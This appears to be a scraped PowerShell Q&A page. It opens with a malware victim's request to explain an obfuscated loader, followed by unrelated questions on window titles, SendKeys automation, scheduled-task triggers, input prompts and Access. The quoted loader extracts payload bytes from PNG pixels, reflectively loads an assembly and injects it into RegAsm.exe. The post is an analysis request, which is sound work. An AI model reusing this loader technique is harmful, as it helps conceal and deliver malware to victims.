Powershell Script Deobfuscation - powershell

I've recently going down a rabbit hole of picking apart a piece of malware that my partner had fallen victim to, looking through the Powershell Script in a testing environment.
I am very much new to this stuff, only having a VERY basic understanding. I can read individual pieces of this script, but it's purposefully hard to read. I just want to somewhat know what it's doing.
I've gotten pretty far with my playing, but I have hit a wall. It would be greatly appreciated if I could get a minor understanding of what the final line in the script is doing.
This is the code. It's purposefully obfuscated by whoever wrote it.
Add-Type -AssemblyName System.Drawing
$img = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\Image.png")
$img2 = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\pe.png")
$injpath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
$File = New-Object 'System.Collections.Generic.List[Byte]'
$PE = New-Object 'System.Collections.Generic.List[Byte]'
foreach($x in 1..$img.Width ) {
$File.Add(($img.GetPixel($x -1,0).R))
}
foreach($x in 1..$img2.Width ) {
$PE.Add(($img2.GetPixel($x -1,0).R))
}
try{
schtasks /delete /tn det /f
}catch{}
$a = [Reflection.Assembly]
$a::'Load'($PE.ToArray()).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,[object[]] ($injpath,$File.ToArray()))
I know it's doing something naughty. That's the point. I just wanted to see what the community might have to say about it. Thanks!

Related

Changing the caption permanently

In my script, I start a third-party non-GUI application. I'm sort of trying to run this embedded in my script itself, so I will be able to change the icon and the windows caption.
I have two restriction:
I have to use & 'application.exe' to start the application. I tested Start-Process -NoNewWindow, but that breaks the functionality of application.exe.
The application.exe needs to be running in my script. I can only change the icon when I compile my script with PS1 to Exe afterwards.
The challenge I'm now facing is related to the first restriction. I need to change the caption a-synchronously. The $host.ui.RawUI.WindowTitle = “New Title” is not working, because application.exe changes the caption right after execution. So I need to change it by using functions like SetWindowText(). This is working in VB.NET, but I'm looking for a way to start this function in parallel with the & 'application.exe'. When I use &, the application is executed and the script waits until it terminates. So I need to do the SetWindowText() in parallel.
Visual Basic/C has a BackgroundWorker functions for such cases. Is something like that also available in PowerShell?
Thanks for any help in advance!
Kind regards,
Eric
Everybody thank you very much for your help!
The solution proved to be a lot easier that I thought. You don't have to keep on renaming the window. You just have to start the cmd window, wait a bit (in the background it's doing something with conhost.exe) and then rename it once. Here's the code I used:
$titletext = "My New CMD Window Title"
# Start a thread job to change the window title to $titletext
$null = Start-ThreadJob { param( $rawUI, $windowTitle )
Start-Sleep -s 2 #Wait until cmd.exe is started
if ( $rawUI.WindowTitle -ne $windowTitle ) {
$rawUI.WindowTitle = $windowTitle
}
} -ArgumentList $host.ui.RawUI, $titletext
& 'c:\windows\system32\cmd.exe'
Kind regards,
Eric

How to send keyboard input only to a specific application

I'm very new to Powershell. I wrote a simple script basically to automate grinding in a video game when I'm away from my computer. I wanted to know if there's a way instead to 'target' the button presses to a particular window/application/etc. while still working on the same machine in other windows. As it stands, I have to have the game window focused for the script to work so it's only really useful if I'm AFK. But if I could have it running in the background while working on other things that would be useful.
$WShell = New-Object -Com Wscript.Shell
while (1) {sleep 1; [System.Windows.Forms.SendKeys]::SendWait("{LEFT}"*80);
[System.Windows.Forms.SendKeys]::SendWait("{RIGHT}"*80);sleep 1;
[System.Windows.Forms.SendKeys]::SendWait("{C}"*20)}
Since I'm new to Powershell I'm not sure if this is doable or not. If not, it's no problem, this is a pretty frivolous use case, I was just curious.
Think about what you're currently doing. . .it's almost the same as tying the shoe laces on a pair of shoes, just to put on different ones;) You're not using the $wShell anywhere in your script.
. . .but, you're almost there already. We can start by loading the required assemblies, and then have it point to the application which you want to interact with:
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName System.Windows.Forms
[Microsoft.VisualBasic.Interaction]::AppActivate('Notepad')
Start-Sleep -Milliseconds 1000
[System.Windows.Forms.SendKeys]::SendWait("H")
Start-Sleep -Milliseconds 100
[System.Windows.Forms.SendKeys]::SendWait("E")
Start-Sleep -Milliseconds 100
[System.Windows.Forms.SendKeys]::SendWait("L")
Start-Sleep -Milliseconds 100
[System.Windows.Forms.SendKeys]::SendWait("L")
Start-Sleep -Milliseconds 100
[System.Windows.Forms.SendKeys]::SendWait("O")
Take note of notepad in [Microsoft.VisualBasic.Interaction]::AppActivate('Notepad'), as it will be what ever program you're trying to interact with. In this case, you're just sending "HELLO" to the notepad that's already on started.

How to change task triggers using powershell?

The script below removes the task triggers for each task ONLY if the tasks are in a folder. However my tasks are in the MAIN WINDOW in task scheduler. When you click on Task Scheduler Library, they are right there. They are not in any folder. However the $folder = $service.GetFolder('\') does not work. I tried it without the backlash and without the quotes, still does not work. What is going on ?
$service = New-Object -ComObject Schedule.Service
$service.Connect($env:COMPUTERNAME)
$folder = $service.GetFolder('\')
$tasks = $folder.gettasks(0)
foreach ($t in $tasks)
{
$definition = $t.Definition
$triggersCount = $definition.Triggers.Count
for($id=$triggersCount; $id -gt 0; $id--){
$definition.Triggers.Remove($id)
}
$folder.RegisterTaskDefinition($t.Name, $definition, 4, $null, $null, $null)
}
Get-ScheduledTask -TaskPath "\" may show all the tasks but there are no obvious commands or methods in the module to remove the triggers. I couldn't see a way and this answer seems to confirm it.
It's unclear from your question if $folder = $service.GetFolder('\') itself is producing an error, or if its the subsequent call to $tasks = $folder.gettasks(0). In this answer I'm assuming it's the latter, only because that's where I seem to have run into problems in my own environment.
I think this might be a combination of permissions and/or the hidden status of a task. Firstly, can you try running as elevated?
Reason I think this is after $folder = $service.GetFolder('\') I was able to get a list of tasks in the root folder, however only 2 of 9 were listed. When I ran in elevated I got 6 of 9.
I even tried the old PowerShell pack "TaskScheduler" module, which internally uses pretty much the same COM code, and I got the same results.
Now I was finally able to get the COM approach to show all 9 in the elevated session by flipping the GetTasks argument to 1:
$tasks = $folder.gettasks(1)
I believe the argument means to show or not to show hidden tasks, however it only accepts an [Int]. So, 0 = false, 1 = true. I confirmed this by looking at the code in the old "TaskScheduler" module. Putting a Boolean like $true in the argument doesn't work, only an [Int] will do.
Note: There is a hidden check box in the lower left, on the first tab
of the Task properties dialog. In may case the correlation matched what I ultimately found in the console.
At any rate give these 2 things a try:
Run as elevated.
Flip the argument to 1
Let me know how it turns out. Thanks.

Collecting user input with pop up window in Powershell

so I am trying to prepare a simple robocopy script. the script will be used by almost 500 users, so I am trying to keep it as simple and as user-friendly as possible.
to collect the information such as source and destination, i wanted to have a pop up window asking users to enter the information. I checked on the other forums and here as well, so far i found several alternatives, unfortunately none of them "does the trick"
Option 1 (my favorite except PowerShell hangs when I use it):
Add-Type -AssemblyName Microsoft.VisualBasic
$title = 'Your Current File Shares (Source)'
$msg = 'Please enter the EEX file share you want to copy from ( please make sure the format is \\server\share\...) :'
$source = [Microsoft.VisualBasic.Interaction]::InputBox($msg, $title)
Add-Type -AssemblyName Microsoft.VisualBasic
$title = 'Your new drive (Destination)'
$msg = 'Please enter to where you want to copy your files (please make sure you choose the full destination) :'
$destination = [Microsoft.VisualBasic.Interaction]::InputBox($msg, $title)
Robocopy $source $Destination /log:N:\logfile.txt
Option 2 (similar to option just a different way to call VB it seems): replying the first line Add-Type -AssemblyName Microsoft.VisualBasic with [void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic') , doesn't make it any better .
with both 2 options above PowerShell hangs after the 3rd run. SOmetimes after the first run it hangs. Odd thing is it runs succesfully and runs the robocopy command , but then after it's done it stops responding after a few minutes. Not sure if VB is looping in the background and has to be stopped?
Option 3:
$source = Read-Host 'Enter Your current file share:' -AsSecureString
$destination = Read-Host 'Enter Your new file share:' -AsSecureString
This is simple enough, however you cannot control anything in the box, which is something we can live with, but the main issue is the secure string, so it doesn't allow the user to see what he or she is typing, which would lead to a lot of human errors.
Option 4:
function copy_files {
param (
[string]$Copy_from,
[string]$Copy_to
)
[pscustomobject]#{
copy_from = $Copy_from
copy_to = $copy_to
}
}
$result = Invoke-Expression (Show-Command Copy_files -PassThru )
$result
has a form that is really not desirable , with the "copy" in the middle on the bottom (on the bottom of the form one sees ok / copy / cancel ) which would confuse users causing to hit copy and wait for something to happen (as the purpose is to transfer files…)
another negative thing is that it is very limited in terms what text and title you can use (or at least what I can use as I tried to have spaces but it wouldn't recognize it no matter if put them in quotations or double quotations). But such cosmetic con i can live with.
I cannot add any additional modules so showui for example is unfortunately not an option.
Any ideas on how this can be done?
Thanks in advance
There are pre-built scripts for this sort of thing that you can use as-is or tweak as needed.
The AutoCopier - PowerShell File Copy Utility w/GUI
A PowerShell GUI utility to copy files to computers based on a supplied text file of Hostnames/IP addresses. Please read below for more details and feedback would be appreciated!
Download: AutoCopier.ps1

Powershell: Passing command options forward slash changing to backward

I am trying to use the invoke (ii) command to open an access database that has command line options. What I would like to have executed is below (yes there is a space in the name of the access database). The database is in the same folder as the Powershell script.
What I want: program name.accdb /cmd Rester
What I get: program name.accdb \cmd Rester
The exact commands I am using are:
$Path_To_EXE = "program name.accdb /cmd Rester"
&ii $Path_To_EXE
I am new to Powershell and have done some searching but can't seem to find an answer. I can create a work around by creating a separate .bat file but that seems like going backwards.
Thoughts?
You should also give a shot to the start-process cmdlet :
$Path_To_EXE = "c:\program.exe"
#Notice the simple quotes ...
$Arguments = #( "name.accdb", '/cmd' , "Rester" )
start-process -FilePath $Path_To_EXE -ArgumentList $Arguments -Wait
I'm not quite sure of the format of the answer you'll get tough ...
for database interaction, I'll rather use JGreenwell's Approach, since the answer that you'll get will be much easier to read/debug ...
Let me know if it works.
If you want to run a VBA script while passing it a parameter with powershell:
$aApp = New-Object -ComObject access.application
$aApp.Application.OpenCurrentDatabase("some program.accdb")
$aApp.Application.Run("VBAScriptName", [ref] "Raster")
First according to Microsoft Support you can use ;; for /cmd from the command line. Second because of the way call quotes and dequotes variables you have to include the /cmd flag separate from the variable (well, its the easiest way). Third, you might consider creating a new com-object to handle running Access with Powershell as it allows for a lot more options (just ask and I can add some examples of this). This being said try:
$Path_To_EXE = "program name.accdb"
&ii $Path_To_EXE ;;Rester #Try ;;"Rester" if it doesn't work.
#if that works then its a problem in Rester
#fyi another way is:
$Path_To_EXE = #("program name.accdb", ";;Rester")
&ii $Path_To_EXE
If you want to use an ActiveX Object Controller to open and perform operations on Access look at this blog from technet <- Read the link there are pitfalls to avoid.
$adOpenStatic = 3
$adLockOptimistic = 3
$objConnection = New-Object -com "ADODB.Connection"
$objRecordSet = New-Object -com "ADODB.Recordset"
$objConnection.Open("Provider = Microsoft.Jet.OLEDB.4.0; Data Source = C:\Scripts\Test.mdb")
$objRecordset.Open("Select * From Computers", $objConnection,$adOpenStatic,$adLockOptimistic)
$objRecordSet.AddNew()
$objRecordSet.Fields.Item("ComputerName").Value = "atl-ws-001"
$objRecordSet.Fields.Item("SerialNumber").Value = "192ATG43R"
$objRecordSet.Update()
$objRecordSet.Close()
$objConnection.Close()